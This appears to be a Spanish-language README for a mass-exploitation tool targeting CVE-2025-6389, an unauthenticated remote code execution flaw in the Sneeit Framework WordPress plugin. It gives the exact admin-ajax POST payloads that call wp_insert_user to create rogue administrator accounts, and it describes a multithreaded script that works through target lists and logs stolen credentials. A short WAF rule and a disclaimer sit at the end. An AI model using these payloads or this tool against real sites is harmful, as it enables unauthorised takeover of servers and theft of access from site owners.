
Sneeit Framework <= 8.3 - Ejecución Remota de Código no Autenticada en sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - Ejecución Remota de Código sin Autenticación en sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 No te pierdas la próxima publicación. Sigue @KNxploited en Telegram: el canal definitivo para CVEs recién divulgados, exploits funcionales e investigación de seguridad de élite. Los primeros en enterarse. Los primeros en actuar.
CVE-2025-6389 es una vulnerabilidad de Ejecución Remota de Código de severidad Crítica (CVSS 9.8) encontrada en el plugin Sneeit Framework para WordPress.
El fallo se encuentra en la función sneeit_articles_pagination_callback(), que pasa ciegamente entrada proporcionada por el usuario a la función call_user_func() de PHP. Un atacante no autenticado puede llamar a cualquier función de PHP con argumentos arbitrarios, incluida wp_insert_user, otorgándose de forma efectiva acceso total de administrador o ejecutando cualquier código del lado del servidor.
La causa raíz es el uso indebido de la función call_user_func() de PHP en el manejador AJAX del plugin:
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← User-controlled function name
$args = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args
// Calling ANY PHP function with ANY arguments — zero validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Por qué esto es crítico:
wp_ajax_nopriv_* = accesible por cualquier persona, sin necesidad de iniciar sesióncall_user_func($callback, $args) = invocación arbitraria de funcionesvar_dump, system, wp_insert_user, eval o cualquier función de PHP/WordPressStep 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Expected Response → array(1) { [0]=> string(4) "test" }
↓
Confirms: call_user_func() is reachable and reflecting output
──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Result → New administrator account silently created on target
↓
Full WordPress admin panel access achieved ✔️
pip install requests rich
| Dependencia | Propósito |
|---|---|
requests | Peticiones HTTP con soporte de sesión/proxy |
rich |
Se requiere Python 3.8+. Las anotaciones de tipo usan la sintaxis
tuple[...]introducida en 3.9+: usa 3.9+ para obtener la mejor compatibilidad.
CVE-2025-6389/
├── CVE-2025-6389.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: successful targets + credentials
└── debug_responses/ # Auto-generated: raw server responses for debugging
└── <target>.resp.txt
Crea list.txt con una URL por línea:
https://target1.com
https://target2.com
http://target3.com
Las URL sin
http://ohttps://reciben automáticamente el prefijohttp://.
python CVE-2025-6389.py
Se te pedirá lo siguiente:
Targets file name (default list.txt): list.txt
Number of threads (default 10): 20
El script lanza un panel de Rich en tiempo real que muestra:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Stats │
│ Usage: Put targets in... │ Total Targets: 150 │
│ Threads: 20 │ Processed: 87 │
│ Password: xplpass │ Successes: 12 │
│ Success Log: success... │ Failures: 75 │
│ Debug Dir: debug_responses │ Elapsed: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Recent Results │
│ Time Target Result │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
Los exploits exitosos se guardan en success_results.txt:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
Las respuestas de depuración (para objetivos fallidos) se guardan en debug_responses/:
debug_responses/
└── https___victim.com.resp.txt ← Raw server response for analysis
El exploit genera la siguiente firma de red, útil para defensores y autores de reglas WAF:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
Regla WAF/IDS (seudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
Si eres propietario de un sitio, desarrollador o defensor, toma estas medidas de inmediato:
call_user_func()admin-ajax.php a nivel de WAF/cortafuegossneeit_articles_paginationTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, running, or modifying this script, you explicitly agree:
• You have EXPLICIT, WRITTEN authorization from the owner of every
system you test. No exceptions.
• You are operating within a controlled lab environment or during a
formally scoped and authorized engagement.
• You will NOT deploy this tool against any system, network, or
infrastructure you do not have legal permission to test.
• Nxploited and all contributors assume ZERO liability for any
unauthorized use, damage, data loss, legal action, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit is a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— And all equivalent national and international cybercrime laws.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Alias | Nxploited (Khaled Alenazi) |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Sigue a @KNxploited en Telegram El canal donde los exploits reales aparecen primero: CVEs, zero-days, PoCs e investigación de vulnerabilidades en profundidad. Actualizado con regularidad. Mantente alerta.
| Campo | Detalles |
|---|
| ID CVE | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Versiones afectadas | Todas las versiones hasta la 8.3 inclusive |
| Tipo de vulnerabilidad | Ejecución Remota de Código (RCE) |
| Vector de ataque | Red — No se requiere autenticación |
| Puntuación CVSS 3.1 | 9.8 CRÍTICA |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Compromiso total del servidor / Toma de control del administrador |
| Investigador | Nxploited |
| Panel de terminal en vivo, paneles, progreso |
threading | Procesamiento concurrente de múltiples objetivos |
queue | Distribución de objetivos segura para hilos |
| Consulta | Valor predeterminado | Descripción |
|---|
| Archivo de objetivos | list.txt | Archivo que contiene las URL de los objetivos |
| Número de hilos | 10 (máx.: 200) | Trabajadores simultáneos: auméntalo para escaneos masivos |
| Contraseña | xplpass (fija en el código) | Contraseña asignada a las cuentas de administrador creadas |
| Formato de usuario | Nxploited_XXXX | Se genera automáticamente con un sufijo aleatorio de 4 dígitos |